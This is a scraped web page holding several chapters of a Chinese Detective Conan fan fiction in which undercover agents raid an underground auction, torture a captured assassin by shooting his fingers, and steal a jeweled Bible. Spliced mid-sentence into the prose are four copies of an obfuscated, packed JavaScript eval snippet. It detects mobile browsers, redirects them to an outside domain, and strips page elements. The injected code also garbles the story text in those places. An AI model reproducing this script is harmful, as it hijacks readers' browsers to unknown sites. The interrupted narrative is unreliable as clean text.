“伊豆前辈稍后会在哪里呢?”他问道,“毕竟以后要在这里工作,我希望能开个好头。遇见问题的话,可能还要请教前辈。” 很好。伊豆关忠对小白脸——不,他现在愿意称呼对方为新人绿川了——的态度非常满意,愉快地表示:“我偶尔来巡视一圈后台,其他时候会待在前台左侧的候场室。这边有条小道,可以很快穿过去。” 他走进清账室,径直走到左侧墙边,推开与墙纸同色的一扇暗门。门后是一条狭长走廊,夹在清账室、检対室与前台的中间。 将走廊与两侧隔开的不是墙壁,而是两面没有封到屋顶的不透明PC板,表面异常光滑,没有任何可供垫脚的地方,哪怕经受过专业训练,恐怕也很难攀附其上。 绿川从伊豆关忠的背后探出头来看了两眼走廊,接着恭敬地递上一根烟。“谢谢伊豆前辈,今晚就麻烦您了。” 还挺机灵……伊豆关忠搓了下手指。为了端架子,他特地没带烟盒出门,打算戒烟一天。但既然新人识趣,他也不会驳了人家的面子。 他接过烟,但没有立刻享用。“后台禁止明火,想抽烟的话得去厕所对面的吸烟室。”他拍拍绿川的肩膀,“好好干,小子。” 说罢,伊豆关忠穿过暗门后的走廊,进入了候场室。 时间已接近8点半,台下几乎已坐满了人。穿黑马甲、系红领结的侍者穿行在场内,将酒水呈给宾客。 伊豆关忠注视着台下,感到一切完美。 他忽然注意到一个扎着高马尾的混血青年,随手逮住路过的二号主持问道:“那是谁?以前好像没见过?” 对方瞥了一眼,说道:“诸星大,新人。按理说不该直接被拉上场的,但他硬件太优秀了,没办法。” 确实没办法。那新人即便面无表情,但只要一张脸往那一摆,就足够让人忽略别的事了。 “有烟没?”二号主持问道。 “你一个半小时后上场,别抽坏了嗓子。”伊豆关忠走形式地提醒了一遍,还是摸出绿川刚才递来的烟做顺水人情,“去吸烟室。” 二号主持被他赶走,他继续看向诸星大。 新人侍者将盛着两支香槟的托盘稳稳送到13号卡座里。卡座的主人正是藤原女士。 “诶?”伊豆关忠小声惊讶道。 藤原女士携带的男伴并不是之前常见的一位青年,而是一个肤色偏深、留着浅金色短发的混血——又是混血。 伊豆关忠才不会承认自己嫉妒这群天生有饭吃的幸运儿呢,他奇怪的是,以往藤原女士是不会挽住男伴的,这次却允许了金发青年接触自己,甚至接过了对方递来的酒。换作不熟悉藤原女士的人,也许会以为他们之间是平等关系。 ……换口味了?还是说藤原女士的气场没有以前那么强了? 伊豆关忠胡乱琢磨了一会儿,直到场内灯光微微暗下,一号主持走上了台。 在他们的拍卖场有一个普遍共识:“三局定输赢”,意思是只要前三个卖品不出问题,这次拍卖会就铁定稳了。 现在,第二个卖品已经顺利出手,第三个卖品即将上台—— 某个东西硌在了伊豆关忠的腰后。 “什么?” 他一时没意识到那是什么,只是为有人莫名其妙地接近自己感到冒犯。他恼怒地想回头斥责对方,却听见对方道: “别动。” 但凡是看过警匪片的人,想必都不会对这句话陌生。何况伊豆关忠还在世田谷区工作,隔三差五就拿隔壁米花町的警情下饭吃。 毫无疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406583|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,他被杀手挟持了。 杀手拿枪抵住他,继续道:“带我进后台。” 伊豆关忠抖个不停,根本迈不开那双仿佛扎在地里的脚。见他不动,杀手绕到他的身侧,箍住他的右臂,把他往前一拽—— 正如没洗澡时怎么也不想洗,一旦开洗了就怎么也不想停一样,伊豆关忠意识到自己正控制不住地走向后台。 “耍我?”杀手兀地厉声道,“你想带我到警卫面前?我刚刚明明看你是从那扇门里出来的!走那边!” 伊豆关忠欲哭无泪。他走的是通往后台的正路,但正路门前也确实守着两个警卫,不如走暗门方便。 枪口在侧,伊豆关忠不敢多说什么,与杀手紧依着肩膀进了暗门。走廊开了两扇小门,通往检对室的那扇他是绝对不会进的。他不清楚杀手的目的,但要尽量阻止对方扰乱拍卖会。 所以…… 对不起了,绿川! 伊豆关忠一头撞进清账室里,似乎把电脑前的绿川吓了一跳。 杀手立刻勒住伊豆关忠的脖颈,将人挟在身前,枪口直指绿川,吩咐道: “那边角落里的绳子,拿过来。” 等绿川照做,杀手又指挥道:“给他绑上。” 伊豆关忠哪怕看不见也知道杀手说的是自己。他拼命朝绿川使眼色,心想两个大男人还干不掉一个不到一米七的小个子不成?何况三人离得这么近,杀手担心走火,势必不敢开枪。 可先前还很机灵的绿川此刻面对枪口,仿佛木了一样一声不吭起来,利落地便把伊豆关忠反绑上了。看似毫无手法可言,实则怎么也挣不开。 完了。伊豆关忠想。这小子是个傻的。 随后,他被杀手重重地扔到地上,左肩膀撞到了墙,右肩膀撞到了下一个被绑起来的倒霉蛋绿川。 似乎是还需要他们,杀手没有立刻解决两人,转而去操作电脑。 “谁会用这个?”杀手问道。 伊豆关忠紧张地看向绿川,庆幸地听见对方用磕磕绊绊的声音回答道: “我、我会。” “哦?”杀手回头瞥了绿川一眼,带着点嘲弄地说道,“那你过来吧,帮我找点东西。” 伊豆关忠咽了口唾沫。 从杀手的角度或许看不到,但他看得清楚—— 绿川不知从哪摸出了一把折叠刀。 不是……你小子有刀刚才装什么呢? 伊豆关忠微微侧身,试图遮挡绿川手上的动作。要不是不便开口,他高低要催上两句。 很快,绿川割断了绳子。伊豆关忠努努肩膀,催促绿川替自己解开,却被后者比了个“稍等”的口型。 这位就职尚不满一小时的新人员工用两手捏住绳索两段,敏捷警惕地接近杀手。 那种紧张而无所适从的表情从他的脸上消失了,取而代之的是冰冷与警惕,仿佛一头羊羔忽然脱掉了身上的皮囊,昭示出自己捕食者的身份。 伊豆关忠从那优雅、精确、仿佛受过训练的举止中恍惚间体会到一件事:绿川与杀手实在像得过分。那是一只猎鹰、一柄枪,一段终末的结束曲。 他看见绿川慢慢接近了电脑前对变故一无所知的男人,双手前伸,然后—— 一个绳圈缓缓套上了杀手的脖颈。 33. 是上帝也是恶魔(二)(500粉…… 绿川猛地抽紧绳子。一瞬间,杀手堪堪来得及将双手四指挤进绳圈与脖颈之间,防止自己被直接绞死。他扎稳下盘,向前一个肩摔,试图挣开紧贴在他身后的绿川。后者却立刻松开绳子,反而使杀手僵硬地撞在了桌上。 折叠刀在手中转了一圈,被绿川反手握住,利落地刺向杀手。第一刀直击脑后要害,没能命中,磕在桌面上发出脆响。绿川似乎早有准备,刀尖没有因磕碰而改变方向,第二刀与第三刀都毫无停顿地追着杀手躲避的动作紧逼而去,如同钢琴滑键般从桌面的中心一直劈到桌沿。 杀手撑着桌面侧身滚开,远离了绿川。桌面上的键盘与鼠标被带倒,叮呤咣啷地掉到地上,与显示屏之间连着摇摇摆摆的电线。 绿川重新迎上去。刀光夹着咻咻风声在偏暗的清账室里接连闪过,令伊豆关忠应接不暇。他几乎感到绿川有的不是两只手,而是五只、十只。 折叠刀在他的左右手中不断变幻,锐器的刺劈与拳脚的殴打随机应变、交替来回。绿川的攻势很猛,但杀手以矮小的身材在灵活性上略胜一筹,招招险避。 就在伊豆关忠思考自己能否做些什么来改变目前的焦灼战况时,杀手忽然以枪撞开刀刃,接着两臂交错,卡住了绿川的持刀的手。他暗自施力,终于将枪口转向绿川,扣下扳机。 枪上装有消声器,再加上靠近舞台,杂音几乎都被主持人的音量盖了过去,因此没有引发骚乱。 子弹穿过绿川的耳廓上方,切断了几根发丝。 伊豆关忠差点尖叫出来—— 绿川老弟,你可是让拍卖会顺利进行的唯一希望了,不要死啊! 下一秒,他看见自己这位工资卡的救星竟然直接扔开了折叠刀,一手压住杀手的枪口,一手抓住对方的额发向前一拽。 这一切只耗费了一次眨眼的时间,因为在杀手倒地之时,绿川恰好接到了自己刚刚扔开的折叠刀,顺势刺进了杀手的手背上。后者痛得卸了力气,摔出了手里的枪。 绿川拾起枪,坐在杀手背上,顺带歇了两口气。“好了,”他用枪管拍拍杀手的脸颊,“这位先生,能否告诉我你的代号呢?” 此时伊豆关忠还没反应过来。 诶,刚刚不还是势均力敌的情况吗?为什么突然间就胜负已分,绿川老弟还要问什么代号…… 难道他搞错了,今天不是什么拍卖会,而是特工电影借了他们的场地用来拍摄?那么请问他可以见到名演员克里斯·温雅德或者藤峰有希子吗? 差点忘了,有希子小姐已经结婚息影了。 “……你是谁?”杀手的反问拉回了伊豆关忠的注意力,他悄悄竖起耳朵。 绿川道:“我是谁,难道PARROT没告诉你吗?” “是你杀了他?!” “你认识他。这么说,你们果然来自同一个组织。” 杀手的面颊抽搐了一下,眼底的光芒犹豫不定,仿佛正在进行什么重要选择,但一时没能狠下心。 但没关系,绿川会帮助他—— 因打斗而敞开了衬衫的风纪扣、微微拽下领结的青年掐住了杀手的下颌,左手捅进对方嘴里,沿上下牙槽摸了两圈,扣出一颗指甲盖大小的胶囊来。 “自杀不行哦,我的问题还没问完呢。”青年劝阻地露出微笑,就着杀手的衣服擦了擦手。 “唔呃呃……”杀手不知在咕哝什么。 “你用的是贝雷塔APX吧?”绿川端详着缴来的那把枪,“没记错的话,弹夹应该能装12发,去掉刚才打掉的1发,剩下的11发正好够用。”他轻柔地展开杀手蜷缩着的手指,“我有三个问题,你有十根手指,虽然能理解你想和我耗下去的心情,但我的时间也是很宝贵的,可别让我太着急了。” 别急,大家都别急。汗珠从伊豆关忠的额前滚落下来。他比杀手更希望此刻能够无限延长,直到拍卖会结束。他分神听见了主持人的声音:第三轮拍卖就要顺利结束了。 “第一个问题,”绿川道,“你的代号是什么?你有三个数的时间。” “三。” 二。伊豆关忠在心里接道,与此同时是一声枪响。 绿川紧贴着杀手的左手小指开了第一枪,枪口下赫然是一个血淋淋的断口,边缘呈现出火药烧焦的黑色。 伊豆关忠幻痛地打了个哆嗦,没敢看绿川的表情。他说不准对方是笑着更可怕,还是不笑更可怕。 杀手咬着舌尖,没有说话。 “二。” 绿川继续数道,并继续开枪,第二颗子弹落在杀手的右手小指上。给予左边的痛感暂时饱和了,因此换到右边重置一下——伊豆关忠是这样理解的。 “一。” 杀手几乎把腮帮子咬瘪下去。绿川不在乎地打掉第三颗子弹,叹了口气,将枪口挪到了杀手的太阳穴上。 “你比我想的要有骨气,那就带着这没用的东西光荣地去死吧,也许之后我能遇见比你更爱讲话的你的同事。”绿川冷下声音,“抱歉,这次可没有计数了。” “SARU!” 一道声音疾呼着赶在子弹之前。 杀手喊道:“猿猴。APE。这是我的代号。” “已经晚了。”绿川道,“我说过吧?三个数。我不喜欢和没有时间观念的人对话。” “对不起!对不起!我什么都可以回答,三个问题以外的也行,只要你保证我的安全!这不是条件,是请求,请求!” 绿川一言不发地凝视着APE慌乱的眼睛,似乎在评估其话语的可信度。 “你背后的组织是什么?”终于,他开口道。 “没有名字,”APE喘着粗气解释道,“但大家都以动物为代号。” “目的呢?” “找到宝石……宝石‘潘多拉’,据说它有着神奇的力量,但具体情况……”APE咽了口唾沫,“我要出去才能告诉你。” “告诉我?”绿川笑,“看你的表现,其实自己也不知道吧?” “我会知道的,会告诉你的,相信我,我不想死!” “那好吧。”绿川站起来,拔出了那把还插在APE手背上的折叠刀。 “绿川! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411222|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”伊豆关忠喊破了音。 在他眼前,APE扬起了自己血淋淋的手,呈钩状刺向绿川。 然而,不知是由于伊豆关忠的提醒,还是绿川早有提防,后者偏头闪过,随后扭身一踢,便将APE送飞出几米外,脊柱重重地撞到墙上。 APE像只垂死的虾子一样弹动一下,不动了。 绿川谨慎地接近过去,试探了下颈部脉搏,抓起一旁的绳子礼尚往来地将对方也反绑起来。 “没事了,伊豆前辈。”绿川的声音恢复了有些柔软的平静,转身看向伊豆关忠。他扯长袖子擦掉额上的汗,但似乎没注意到APE溅在他脸颊上的血点,伊豆关忠也不敢提醒。 “那、那就好。”如果要拿绳子捆起来的话,人应该还活着吧?伊豆关忠没敢问。他避开绿川的视线,连手上的绳子都没解开,用肩膀撞开了门就要出去。“我去喊警卫过来——” 走廊明亮的灯光落在他往前踏了一步的脚尖上,然后—— 如同退潮一般涌走了。 一只有着枪茧的手捂住了伊豆关忠的唇鼻,另一只手挟住他的腋下,将他拖回了身后昏暗的清账室里。 他只在拿烟时碰过绿川的手,现在却无可否认地认出了它们。但对他而言,这双手已经不再属于那个递给他香烟的谦逊员工了。 一种异样的血腥气萦绕在伊豆关忠的鼻尖,这与他平日里在那些标着现宰猪羊的肉摊前闻到的截然不同,是一种立刻能够激起人的恐惧与绝望的气味,因为早在远古时代,人们就意识到了,一旦附近出现这种气味,一定是有同类受了伤,换言之,这里对他们而言意味着—— 危险。 他竟然现在才意识到这一点。 “前辈没有抽我给您的那支烟吗?” 绿川仍像先前那样,在讲话时礼貌地看向伊豆关忠的眼睛。他俩差不多相差半个头的高度,因此当绿川垂下头、伊豆关忠被迫向后仰头时,两人正好能将对方的眼睛看个明明白白。 伊豆关忠一向自信于看人的本领,那双近在咫尺的蓝眼睛先前分明是柔软且和善的,现在却冰冷得像大洋漩涡:混沌,中央有着深黑的洞。 人真的能够伪装到这种地步吗?如果真是这样,人又要怎样通过时的行为去判断另一个人的善恶? 伊豆关忠感到自己窥见了一处比俗世小恶更夸张更神秘的悬崖。在那里,人在不被注视时是朦胧的一团,被注视时便因为某件事而被推向善的一边,因为某件事而被推向恶的一边。 那么,他正注视着的这位绿川隆一,究竟是什么人呢? 伊豆关忠扑腾了两下,说不出话。 “啊,”绿川却仿佛听懂了一样,替他解释道,“是给别人了吗?那也没办法……总之,我稍微有些事要瞒着前辈去做,希望您能忘记在这间屋子里发生的事情,可以吗?” 伊豆关忠拼命点头,生怕自己也被扔来三个数。 “谢谢前辈,就先请您休息一下吧。”绿川笑道。 一记手刀敲在了伊豆关忠的后脖颈上,通向屋外的光就这样消失了。 34. 是上帝也是恶魔(三) 一个被痛感折磨得半死不活的杀手,一个被迷昏过去的临时上司——景光看着瘫在地上的两人,犯难地叹了口气。 他现在是组织的人,旁边还有外人在看,采取一些阴狠的拷问手段有利于他形象的塑造——起码日后伊豆关忠有意或无意间提起此事时,不会给景光的卧底伪装带来麻烦。何况小指与非惯用手无名指的缺失不会给生活造成太大影响,但—— 景光还是产生了一阵反感。 他对APE开出的那三发子弹,即使回想起来令他抵触,可在事情发生的当时,他竟然没有丝毫犹豫,仿佛已经很多次做过这种脏活,熟悉到近乎麻木。 深灰色的碎片从景光的记忆里闪过,那似乎是在组织的一间审讯室里,厚厚的单向玻璃后坐着一张没见过的面孔。留着银色长发的男人把枪交给他,说道: “别让我失望,苏格兰。” “怎么会呢?” 他笑着回道。莫大的压力挤着他的肺腑,但他必须把冷淡而不在乎的表情烙在脸上。 琴酒在观察着他,他不能露出任何破绽。 ……这是什么?景光一时没站稳,晃了晃身子,撑着墙壁稳住。 这是谁的记忆? 是那个世界的苏格兰吗? 不像。 景光微妙地能够听出两个琴酒在呼唤苏格兰时的情绪区别。那个世界的苏格兰是受到信任的,因此琴酒在面对他时常常带着一丝平静与松懈,仿佛知道对方的一切都尽在掌握,不必浪费心力。 而这段记忆里的琴酒明显对苏格兰存着试探的意思——是景光一直以卧底身份接触的那个琴酒。 可自己还没有获得代号…… 这段记忆究竟来自哪里? 景光一边思索,一边将APE与伊豆关忠拖到放置杂物的木架后。他从一个纸箱里翻出一条桌布,半遮半掩地盖在上面,布帘垂下,正好可以遮住两人。 【捕到麻雀一只,可收网。——SW】 这是景光与降谷零约定的暗号。如果来的是假PARROT,捕到的便是“鹰”,反之,真PARROT的同党则是“麻雀”。“收网”表示人还活着,可带走审讯。 【正常,隐蔽,小心。——BW】 降谷零立刻回了邮件,意思是“情况顺利,避开诸星大行动,注意安全”。 主持人的声音穿透墙壁,钻进景光的耳朵里。第四轮拍卖已经开始,而他们的目标被安排在第五轮,他必须在此之前从系统后台里找到卖家并传给诸星大,同时盗走卖品。 留给他的时间不多了。 景光坐回电脑前,把键盘与鼠标扯回桌上。他在伊豆关忠进屋前差不多查到了最后一步,现在只需要重新调出隐藏页面,敲下回车—— 这家拍卖场不接受卖家隐藏身份,然而,名为藤田治夫的男人似乎是个例外。 系统记录显示,这本《圣经》是藤田治夫在一次国外考古活动中发现的陪葬品,原本只想卖掉上面那颗成色极好的鸽血红,但由于其制作工艺复杂,很难完好无损地从书中取出宝石,便将整本书打包送了过来。 为保证安全,藤田治夫没有直接露面,但拍卖场仍然根据他邮件的IP地址与快递地址找到了他,将偷拍下的照片附在档案后。 景光用拍卖场的系统邮箱联络藤田治夫,称交易物品出现问题,烦请他找个安静地方电话联系。 随后,景光将藤田治夫的部分档案内容传给诸星大,清理掉数据痕迹。 “这里是绿川,已传递目标信息。诸星君,请注意离开会场的客人,目标就在其中。”景光对耳麦说道。 “了解了,先生。”诸星大似乎是借着回复客人的机会同时回复了他。景光笑了笑,意外地发现这人好像偏爱双关语。 以诸星大的能力,任务应该不会出错,何况Zero也在他们的频道里。景光想。这边结束了,剩下的就是窃取那本《圣经》。 景光先前注意到,警卫每次穿过走廊将卖品护送至检对室时,都会首先经过清账室,手推车轮在地毯上发出轻微声响,时间固定在每轮拍卖结束的十分钟前,不多不少。因此景光推断,前台场控与警卫之间应该可以相互联系,所以下手时最好避开警卫,防止引起他人警觉。 一切处理好后,景光进入暗门后的走廊,如同蚱蜢一样双手双脚撑在墙上,接着反方向蹬过去,两下翻上PC板的顶部,悄无声息地落进检对室里。检对师恰好被推门而入的四名警卫吸引了视线,趁着对方不注意,景光悄悄溜到了一个足够隐蔽的橱柜角落里。 当四人退后,给检对师让出一个空位时,景光朝着五人附近扔出了烟雾弹。 噗呲一声,烟雾弹滴溜溜地在地板上打起了转。浓白色的烟雾从五人的脚底弥漫开来。 警卫们反应很快,没有贸然离开烟雾中,而是四人围成一圈,将检对师与卖品护在中央。其中一人警觉地拿出对讲机,准备通报情况,请求支援。 景光等的就是这个瞬间。 他举起压在身侧的那把贝雷塔APX,从烟雾外透过浅灰色的人影,精准命中了警卫手中的对讲机。 对讲机飞落在地,安装着主要元件的头部被子弹击穿。电波声诡异地扭曲了两下,没了声息。 “敌人有枪,小心!” 装备对讲机的警卫似乎是四人中的小队长。他立刻大声警告同伴,左右张望,试图找出敌袭的方向,但下一秒,他用脸接了重重一拳,头晕目眩地踉跄开,使包围圈破开了一个缺口。 两名警卫闻声迅速包抄过来,其中一个速度快些,抓住了景光的手臂;另一个缓慢地带动烟雾打了个转。在后者扑上来以前,景光一个下铲带倒了控制自己的警卫,接着双腿绞上对方的脖颈,上身半倾,双手稳稳抄着一把泰林杰特麻醉枪,击中了那名迟来的警卫。 小队长摇摇脑袋,此时清醒过来。他在烟雾里站着旁观的那几秒钟看清了景光的位置,抽出一把甩棍,向后者就近攻来。 景光松开被他绞昏过去的警卫,贴地滚闪。 对方似乎是个善用甩棍的高手,学艺精湛但经验不足,没过几招就被景光试出了底。在密集连续的甩棍攻击中,景光抓住空隙,两拳撂过去,将小队长捶停在了原地。 他再次射出两发麻醉弹,一发命中小队长,一发命中最后一名警卫。 烟雾渐渐散去。四人倒地,但是…… 检对师呢? 似乎意识到了什么,景光顿时回过头去,却感到后脑勺被重重地拍了一下。 痛…… 眼前是那本有着灰黄色皮革外封的《圣经》,瘦弱的检对师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422335|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手高举着这本充满力量与知识的武器,向神祈祷着自己能将这入侵的恶徒一本子拍死—— 但神总是有自己的想法。 景光一手揉着后脑勺,一手从检对师的手里抽出《圣经》。 “这样很危险哦。”他好心劝告道,接着买一赠一,赠给了对方一记伊豆关忠同款手刀,“虽然电影里经常出现这些镜头,但没有训练过的话,还是不要轻易尝试了。” 检对师身子一软,倒在了地上。 景光这才查看起那本《圣经》来。不知为何,他抚摸书皮时感到了一阵不适,可看了半天也不清楚它是用哪种动物皮毛制成的。鸽血红紧紧嵌在厚书脊里,书封上涂抹的金粉用的似乎是真金。 翻开内页,里面用的是意大利语。景光一没学过,二没读过《圣经》,看不出任何端倪。 “7500万一次!7500万两次!7500万三次!恭喜21号!” 屋外传来主持人慷慨激昂的声音——第四轮拍卖结束了。 景光将书揣进胸前,匆匆离开了后台。 * 赤井挑了个角落打开手机,接收绿川发来的邮件。里面附了几张照片,记录了一个名为藤田治夫的考古学者——又或者说,盗墓贼——的情报。 最后一张照片似乎是从屋外向屋内的偷拍视角。一个留着黑色短发、普通发型的男人站在窗边,左手拿烟,旁边还放着一只塞满烟头的烟灰缸。从地面与房屋高度来看,男人的身高在1米80左右。由于背对窗户,照片没有拍到男人的正脸。 根据绿川的说法,藤田治夫将暂时离开会场。赤井盯着会场的两个出入口,共有三名可疑的目标在那段时间里先后离开会场。 第一个身高在1米80左右,留黑发,左手拿烟。 第二个身高在1米75左右,留黑发,左手拿烟。 第三个身高在1米75左右,留棕发,右手拿烟。 第一个男人,赤井扫了一眼便放过了。照片里,藤田治夫的站姿古怪,重心前倾,明显是过分垫了身高造成的,其真实身高应当在1米75左右。 第二个男人,身高与发色似乎没有问题,但他的右手指尖有烟鬼常见的熏黄痕迹,证明他平时多半是右手拿烟。赤井仔细观察着男人的右手,发现其食指内侧起了一片被烫伤的粉色水泡,这就解释了为什么对方这次选择了左手拿烟。 至于最后那个男人,点燃的烟被他捏在右手指尖,他却没心情去抽,只顾着用左手敲打手机键盘,似乎在与谁聊天——这说明左手才是他的惯用手。他的发根则留着一截为防止伤害头皮而没染干净的黑色。 之所以选择在抽烟的男人,是赤井从照片里的烟灰缸做的判断。里面的烟头很多连一半也没抽完,与其说藤田治夫有烟瘾,不如说他容易精神紧张,因此借助点烟的动作来缓解焦虑。 赤井猜测绿川给藤田治夫的说法是交易出了问题。在这种情况下,对方必然会下意识地点一根烟。 确认周围无人注意后,赤井尾随最后那个男人,一直跟进了男卫生间。 他快步贴近对方,然后扬起手—— “啊——死人了!” 不是从附近,而是从20米开外的其他地方传来了一声尖叫。 男人回过头,看见了赤井的脸。 35. 是上帝也是恶魔(四)(600粉…… 诸星大不会被发现了吧—— 听见那声尖叫的降谷零如是想。 按流程来说,下面应该紧接着进行第五轮拍卖,可现在不仅卖品没有登台,就连后半场的主持人也消失不见,再加上突如其来的血色尖叫,场内已经从轻微的骚动转向了高声议论。 降谷零清咳一声,意思是要耳麦对面的两人汇报情况。 “任务完成,已撤离。”这是他的幼驯染。 “目标已死亡,正在撤离。”这是诸星大。他平淡的语气比任何线索都更证明了他那边一切顺利,又或者哪怕遇见麻烦,他也无需求助。 降谷零用指节敲着扶手思索片刻,认为已经没有遗漏了,剩下的就是要给那只“麻雀”收网。 他本来定好了其他方案,但从目前的情况来看,或许可以稍加调整。 降谷零垂在身侧的左手盲发了一封邮件。 “安室先生……” 降谷零以注视情人般的柔软眼神看向藤原千里,手指半贴在这位年近60但保养妥当、举止优雅的副董事唇边,眉眼下垂,示弱似的说道:“不是说好了吗?千里女士可以直接喊我的名字。” “透……君。” 藤原千里也是见过大世面的,此时脸不红心不跳,从善如流地改了口。 “透君接下来打算做什么?” “我今晚的任务就是让千里女士开心,要做什么的话,全凭您做主就好。”降谷零道,“只是看现在的情况,拍卖会大概是进行不下去了。如果要走的话,我倒是知道一家不错的餐厅想推荐给您。” 藤原千里接收了他的暗示,起身道:“那就走吧,透君。” 希望尽快离开这里、避免惹上一身骚的宾客不止他们。当众人走到门边时,先前的主持忽然再次登台,举着麦克说道: “女士们,先生们,非常抱歉今晚为大家带来了不好的体验。由于拍卖场内发生了意外事件,警方现已介入调查,希望各位能暂时留步,方便警方询问。” 他语气诚恳、表情真挚、理由充分,遗憾的是——无人在意。 再怎么大声疾呼,其效果差不多等同于年轻实习教师对着留级五年的老油条学生喊:“我要找你们家长!” 但事实是,学生不在乎,家长同样管不住。 降谷零心里发堵。像这类建在地下的拍卖场,少不了藏污纳垢的秘密,而这家拍卖场之所以能过明面上的路子,背后必然有相关人士撑腰。 从他通知下属到主持上台,中间只过了不到五分钟。他安排的人到不了这么快,说明拍卖场自己就已报警,根本不怕把自己的存在摆到警察眼前。 他们背后有警界的人。 迟早有一天——降谷零不悦地想——我会把你们连根带土地拔出来。 他随藤原千里前往大厅,在走廊一间敞开门的休息室里,降谷零看见了那具所谓死人了的“尸体”。 不是……谁在谎报警情。 就算他没走近去调查,也看得出“尸体”明显还在呼吸啊! “诶,”藤原千里顺着他的视线看过去,顿了一下,“这不是失踪的后半场主持吗?” 降谷零放慢脚步多看了两眼,发现这人的姿势近似于脱力后倒在地上,右手指间夹着一根将要烧干净的特殊香烟—— 正是他早些时候递给幼驯染的东西。里面卷的除烟草外,还含有一定麻醉成分,非常适合用于与一些烟草爱好者(比如诸星大)交换感情时顺手递出去。 看来这烟最后没用到诸星大身上,却莫名其妙地牵扯进了无关人士,大概是在景光之后又经历了几次转手吧。降谷零摇头。 烟里的麻醉成分存在一定副作用,会使人体的生理活动暂时终止,心跳微弱乃至停跳,呈现出的效果类似河豚毒素,但不如河豚毒素强力,不需要人工送氧也可逐渐恢复。恢复时间依据摄入方法而有所不同,注射持续的时间更长,食用次之,吸取的话,大概只有五分钟吧。 “尸体”被发现时,大概是副作用还没有结束的五分钟内。 想通了这点的降谷零已与藤原千里走到了大厅的电梯前。电梯在没人呼叫的情况下从楼上降下来,开门,走出了几名刑警。 降谷零“啧”了一声,后退半步,让藤原千里站在身前,偏过了脸。 “啧”这一声是给藤原千里听的。他是控制着她的黑暗组织成员,厌恶警察也是正常的。 后退的那半步则是他害怕警察,不是安室透怕,是降谷零怕—— 毕竟他那个长得比大家至少早熟10年的高大同期实在太显眼了。 2年前,降谷零给同期们留下了一条辞职通知后就彻底消失不见,这还是他第一次在“正常情况”下见到自己“正常从业”的朋友们——与景光的相见自然被他踢出了“正常”范畴。 算了……降谷零不知道说些什么,只好祈祷班长不会揣度他辞职是为了下海傍富婆吧。 伊达航了解了现场情况,迅速安抚宾客,维护秩序,并用1分钟破解了这桩“谋杀案”——20秒用来从电梯走到休息室,3秒用来判断死者竟然活着,7秒用来质疑有问题的到底是自己还是这个世界,最后30秒用来叫醒死者。 一出死而复生的闹剧结束,除了特意冲着某些卖品而来的客人,大多数宾客都决定离开这里。扑了个空的警方也不打算在此浪费时间,因此除了一位留着刺刺寸头、眉毛稀疏、戴黑圆框眼镜的警官外,大家都聚集在了电梯前。 伊达航一副从没见过降谷零的模样,站在后者身旁,双手插兜,专注地与同僚们闲谈。 像是接到了什么消息,他从兜里拿出手机,一张便签被顺手带了出来,飘到地上。 正好落在降谷零的脚边。 两人似乎谁也没有发现这件事。 直到空电梯再次开门,他们走进电梯时,才有一位落在后面的警官眼尖地看见了那张便签,捡起来问道:“伊达大哥,这是你掉的吗?” “不是。”伊达航咬着牙签,晃了晃手里的记事本,“我用这个。” “好像是我掉的……”降谷零摸摸口袋,不好意思地拿过便签,打开看了一眼,“谢谢这位警官先生,我在上面记了一些很重要的事情,真是麻烦您了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426323|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哪里哪里……”警官为自己先前认错了失主讪笑。 之后,他们乘电梯离开拍卖场,中途没再搭话。 降谷零将藤原千里送上车,后者贴心地表示:“我稍后有些私事,就不再招待透君了。” “今晚感谢您的照顾。”降谷零托起合作者的手,将自己的拇指垫在女士的手背上,轻轻吻了一下,“千里女士如果将来有需要的话,我会随时赶到。” 他今晚原本是借组织的名义请求藤原千里协助,但这位久经商场的女士在面对“战场”时似乎也别有一手,无论是执行任务的效率还是审时度势的能力都让降谷零产生一种强烈的、想把下属扔过去锻炼一下的冲动。他表达出了对藤原千里的欣赏与感激,希望借此机会与藤原集团建立私交。 年长的女士没有直接地点头或拒绝,只是用手捂着嘴唇,轻笑着催促司机离开了。 